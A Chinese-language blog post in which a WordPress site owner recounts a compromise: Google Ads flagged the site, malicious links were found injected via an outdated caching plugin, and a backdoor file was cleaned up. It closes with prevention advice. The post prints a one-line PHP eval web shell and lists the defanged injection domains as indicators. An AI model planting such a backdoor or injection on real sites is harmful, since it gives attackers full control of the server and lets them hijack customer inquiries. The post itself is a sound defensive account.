本来最近更新了一波广告词, 正在美滋滋地准备感受一下”金九银十”时段, 吃着火锅唱着歌, 突然又被麻匪劫了! (台词源于《让子弹飞》). 前几天凌晨4点多, 谷歌广告冷不丁将账号下所有广告打上”已拒登”标签, 早上上班发现的时候, 第一时间自查网站, 没发觉有什么异常, 怀疑是谷歌抽风了, 于是去信一封讨要说法. 下午快下班的时候, 没有收到谷歌回复, 但是所有广告已经尽数恢复正常, 于是默认是谷歌的问题, 没再去细究.
过完一个周末回来, 刚上班一会, 突然实时收到谷歌后台的消息警告, 所有广告拒登, 理由是”被侵网站”(Compromised Site). 当时就感觉事情可能不太简单. 现在回头看实际上当时我是有点慌的, 常看我的朋友可能知道, 我不是做程序这块儿出身的, 我的主业是运营, 建站也是以WordPress可视化为主, 代码这块儿勉强能看但是明显属于弱项.
为什么写着一篇呢, 因为我在尝试解决问题的过程中发现网络上这类的信息挺少的, 结合最近曝出的漏洞来看, 中招的人还挺多的, 所以把我的一个过程发出来, 可以避免大家少走些弯路, 或者引发一些思考.
免责声明: 需要注意的是, 在代码和网络攻防这块并不是我的强项, 所以我下列的言论和观点不一定正确, 对于一些问题的描述可能不够精准, 主要以分享操作思路为主, 同时也抛砖引玉欢迎各位大佬指正或者提出更优的解决思路.
“案情”描述
被挂恶意代码的网站无任何异常, 页面实际看起来无任何变动, 功能等也一切正常.
我是在收到谷歌做出广告拒登的时候才意识到网站可能不对劲的.
还是怀疑是不是谷歌的问题
首先确认所有广告着陆页的访问是否正常(在非管理员登录状态下) >> 一切正常
然后确认一下询盘表单功能是否正常(会不会询盘发到其他邮箱去了doge) >> 一切正常
在上述错觉加持的情况下, 我很轻易地得出了一个简单的结论:
要么谷歌再次抽了, 要么对手很隐蔽
而谷歌当时并没有回复我的邮件, 所以我再写了一封邮件发到人工的support邮箱那边, 打算求证一下原因.
两天过去了, 依旧没有任何回复, 期间收到两封noreply的邮件, 大意是告知广告已拒登
谷歌也怕你跟进
又过去1天, 仍旧没有任何信息. 那时我有点急了, 决定要加强一下跟进策略, 避免错过当下的黄金周期, 于是有了这篇文章的头图预览
当我告诉他我将每天发送2封邮件直至问题弄清楚为止后, 大约过了1h就收到来自谷歌人工的回信了.
顺便在这里吐槽一下, 谷歌广告个人户的服务真心不到位, 客户经理只会建议你投广泛匹配, 出事情时不容易找到人, 电话热线也只是针对机构户, 个人户只能填表和发邮件给 ads-support@google.com
顺便在这里说一句, 上次有个朋友看了我过往的文件后发邮件给我, 一直在问我ins被封提交申请官方没有给他复信怎么办, 我只回了第一封, 然后他就一直再给我发, 发了大约7~8封… 我只想说你有给我发邮件这毅力去给ins发, 可能早就有结果了. 其实, 类似这类的问题, 每个人情况不同, 很难有100%完全适用的解决方案. 文章来自AdamY笔记 www.adamy.top)
所以很多时候问题和文章提供的往往是思路, 因为很难所有事情都100%同步的去手把手教.
只能说
尽人事 > 做好自己材料准备申诉部分, 明确自己”做”了什么和没做什么(要是严重违规就别想了)
听天命 > 主要还是得看”对应的平台”如何对待
收到邮件后就知道网站是实锤出现问题了. 我们的故事就从这一刻正式开始:
大家在被谷歌判定为”被侵网站”后, 应该第一时间致信谷歌, 询问谷歌判定原因.
他会回复你网站具体哪里出了问题, 我们后续也是依据这个方向去对网站进行排查.
如果没有收到及时的回复, 用婉转点的语气隔几个小时多发几封, 跟进催促下, support那边的团队是人工的, 急了也会烦的, 一定会回复你的.
如上图所示, 谷歌回复的邮件里已经给了我们一个大致的排查方向和问题解决思路了:
蓝框里面的内容就是我们应该重点排查的方向, 其中的登录页面指的是被加载恶意链接的页面; 黄框里面的内容就是当你解决了自己网站上的问题后, 谷歌广告这边的后续处理建议.
网站自查方向
如果大家像我一样不太懂代码这块儿的话, 那么网站自查应该算是整个过程中难度比较大且比较复杂的一环.
出现问题之后我第一时间到上搜索引擎上(百度和谷歌都去了)搜索相关的内容, 看一下能不能找到对应的解决方案.
搜索得到的比较有价值的信息是:
WordPress旧版本漏洞, 插件旧版本漏洞导致的入侵
安全漏洞 CVE-2023-6961 CVE-2023-40000 CVE-2024-2194
涉及的WP插件 WP Meta SEO, LiteSpeed Cache, WP Statistics
cdn攻击注入链接:
ur.mystiqueapi[.]com/?ur
intrstreams[.]global[.]ssl[.]fastly[.]net/
但是似乎没有多大帮助, 因为我并没有使用以上的任意一款插件, 我用的是之前文章推荐过的NitroPack.
不管怎样, 先打开上图邮件中提到的”登陆页面”看看情况.
嗯, 从后台可视化编辑器展现出来的页面来看, 丝毫没有异样, 没有被添加/减少内容的痕迹.
那打开前台页面, 看看网站源代码, 如何? 果然, 找到了一些蛛丝马迹: adamy.top
恶意链接是被包裹在 NitroPack 的标签里.
也就是说, 很有可能是通过我这个网站服务器上许久未更新的NitroPack插件注入的攻击.
那怎么办呢?
既然初步判定恶意链接与 NitroPack 有关, 那么当前肯定是从这个插件入手查起.
我做了什么
首先第一时间禁用 NitroPack 这个插件, 然后清空插件的cdn缓存和电脑浏览器的缓存.
然后查看恶意链接是否仍旧存在于页面上.
具体操作步骤:
1. 进入 WordPress 仪表盘 > 导航菜单 > NitroPack > Purge Cache
2. 进入 WordPress 仪表盘 > 导航菜单 > 插件 > 已安装插件 > NitroPack > 禁用
3. 浏览器按下 F12 , 然后右键导航栏上的刷新按钮 > 清空缓存并硬性重新加载
嗯… 似乎问题依旧, 仍旧能够从网页源代码中找到恶意链接
不死心, 直接尝试卸载 NitroPack
问题依旧没有改善…
尝试使用安全插件 Anti-Malware 进行全盘扫描
似乎也没有扫到什么潜在的威胁…
尝试使用 Ctrl + F 来检查 WordPress 的核心和主题文件
这一步对我来说实际上能看懂的地方不多, 所以我直接用的笨办法, 看看哪里引用了 “intrstreams[.]global[.]ssl[.]fastly[.]net/” 这里我查了 functions.php, header.php, footer.php
果不其然, 找到了对应的代码. 这里我出于一丝谨慎, 做了一次快照备份, 然后恢复了古早备份获取了对应的文件, 然后将两份文件的内容逐行比较(这其实也是一个笨办法, 无奈自己不懂代码), 然后将其中的多余代码删除, 再回到快照备份上修改对应文件保存.
再次清除缓存后, 访问对应页面, 果然页面上不再有对应的恶意链接了.
我还是不太放心, 因为没办法确认网站上的风险是否已经彻底清除.
虽然看起来恶意链接已经不再, 但是心里仍然很忐忑, 万一存在其他没有被发现的风险怎么办?
我决定再用 Anti-Malware 全盘扫描一遍. 结果扫出来一个新的潜在威胁:
看上图红色区块: Found 1 Known Threat
然后按图索骥找到目录下的这个所谓的 cmd.php
这里可以用桌面软件 WinSCP 来 SSH 到服务器(需要服务器IP, 账号和密码)
或者也可以使用 WordPress 插件 WP File Manager 来直接在网页上操作
打开之后这个文件也很简短一行代码
<?php @eval($_POST[‘cmd’]); ?>
百度了一下, 说是大概率这个是一个后门:
其中, cmd 这个文件不是系统/主题自带的;
然后, @eval 这个语法本身就很可疑, 语法功能本身十分强大, 而且不属于常用语法
网上的评价是:
这段代码存在严重的安全隐患,可能导致服务器被完全控制。强烈建议立即删除或修改该代码,并采取安全措施来保护服务器系统。
求助服务器供应商
其实到了这一步, 事情已经很明了了, 大概率是侵入者利用插件漏洞上传了后门, 并且注入了恶意链接. 放任不管的话, 鬼知道他会用这个网站来做什么事情.
然后对于我当前状况来说, 虽然已经删除恶意代码, 但网站仍存在后门, 侵入者后续可能随时再次植入同样的或其他恶意代码, 只要后门不清理掉, 网站仍然处于风险之中.
为什么之前都是虽然不懂但是要自己处理, 而现在却要求助于服务器供应商?
因为情况发生了变化. 之前的操作其实都只是小打小闹, 目的是为了确认网站真的存在问题而不是谷歌抽风, 也是为了后续与供应商对接的时候有东西可以说, 另一方面也可以避免供应商后续各种推搪打马虎眼略过的问题的严重性.
回到问题上来看, 既然存在后门, 实际上一个是网站的其他文件也有可能存在伪装过的恶意代码, 另一方面是, 即使发现和清除后门a, 不代表不存在其他的后门bcdefg等. 然后确实去排查这种的是个技术活, 既然自己没法保证完全消灭, 还不如提交个工单, 让专业的人去做. 而且自己也知道问题根源在哪里, 对接起来好沟通.
事实确实如此, 详细描述清楚问题并提交工单后, 仅1天内就完成了整站排查和问题处理, 这波危机算是过去了.
风险提示
其实这个应该放在最早说, 因为会有一些读者认为外贸企业做生意打钱是靠银行账户, 所以网站被入侵了也没事.
这个观点是错误的. 拥有后门的侵入者理论上可以做任何事:
他可以在你不知情的情况下清空你的网站服务器(那网站上所有页面啥的就没了)
他还可以伪装一切如常, 截取你的每一封询盘邮件, 然后再伪装成你们双方进行交流, 通过过一手的方式来达到诈骗资金的目的. 而且这种手段不改动网站明文信息, 一般很难发现.
谷歌广告申诉恢复
当你确认网站已经完全ok的时候, 就可以照着上图黄框中的指引到谷歌广告后台对被拒登的广告进行申诉了, 申诉的时候选择 > 此账号下的所有广告, 然后静静等待(大约1工作日内)就会恢复了.
实际上只要你清理了恶意链接后就可以去申诉, 但是不推荐. 因为如果后门没有清理干净, 后续还是可能被植入代码导致谷歌再次拒登广告. 另外没有实际操作处理之前也不建议申诉, 如果怀疑是谷歌误判, 可以发邮件到 ads-support@google.com 要求谷歌方面提供依据.
对于那些置身事外的人来说, 应该如何预防这类风险?
这一步我们来聊聊预防措施, 如何避免遭到此类攻击事件的入侵: 文章来源adamy.top, 转载请注明
1. 更新WordPress & 插件到最新版本
请注意, 这个步骤也是存在风险的. 因为WordPress新版本可能会和某些旧版本/新版本的插件不兼容, 从而出现各样的小问题. 强烈建议在操作之前对服务器进行备份/快照操作.
更新版本往往能够化解一些潜在的风险, 因为新版本往往是对于旧版本问题的修复以及改善.
2. 安装WordPres上推荐的安全插件
一般来说推荐下列插件, 只选择一个进行安装就好. 推荐安装并激活后对网站进行全面扫描, 查看是否存在风险或其他错误项.
Anti-Malware
Wordfence
Sucuri
3. 不要使用所谓”破解版”插件
有些插件是需要付费购买的, 而有些人不愿意支付对价, 又希望”白嫖”到对应的功能, 因此就产生了所谓的破解版插件.
网上通常也称为 cracked, nulled, hacked, GPL开源版 等.
插件只推荐原版. 安装只从软件官方源或者WP官网: wordpress.org 下载/安装, 其他的源吹的再好都不推荐.
并不是说100%所有的”破解版”都有问题, 而是风险存在的可能性比较大, 容易得不偿失.
试想一下, 破解插件和植入恶意代码都需要修改插件代码, 怎么会有那么多活雷锋 free to help 呢?
相信我, 我之前在做草稿站的时候是用过破解版的插件的, 当时是为了测试会员相关功能是否符合个人需求.
但其实后来想想实际上没必要, 因为一般的国外付费插件都会给予7~30天不满意免费退款的政策.
需要注意的是那种按期限续费的插件, 注意绑定的信用卡, 避免自动续费就好.
4. 后台登录密码自检和隐藏登录入口
确保你的网站后台登录密码是强密码组合, 例如: 大小写字母+数字+特殊符号如%$#等
另外, 推荐安装类似 `WPS Hide Login` 的插件来隐藏WordPress后台登录路径.
除此之外, 和网站无关的一个风险在于: 钓鱼邮件.
我们在点击询盘邮件里的链接时需要特别注意是否是钓鱼网站, 对于需要输入密码的链接应该慎之又慎.
5. 避免使用共享型的服务器
有时候问题并不一定是出在WordPress本身, 而可能是托管环境出了问题, 例如存在漏洞的php版本, 又或者是同一服务器上面托管了多个网站, 其他的网站受到攻击而波及我们的网站, 也就是所谓的城门失火, 殃及池鱼.
最后补充一点, 其实对于我们外贸人来说, 不懂代码或者是需要向别人求助并不是一件可耻的事情. 毕竟术业有专攻, 大家各自有不同的专长, 例如你让程序员来负责运营, 他反而不见得有我们擅长. 而我们也应该掌握一些基本的思维和处理方式, 这样不管是自行分析还是对接到别人处理的时候都能够客观地描述事件与经过.
本期就暂时聊这么多, 后续有想到的其他内容的话到时候再补充, 希望对大家有帮助.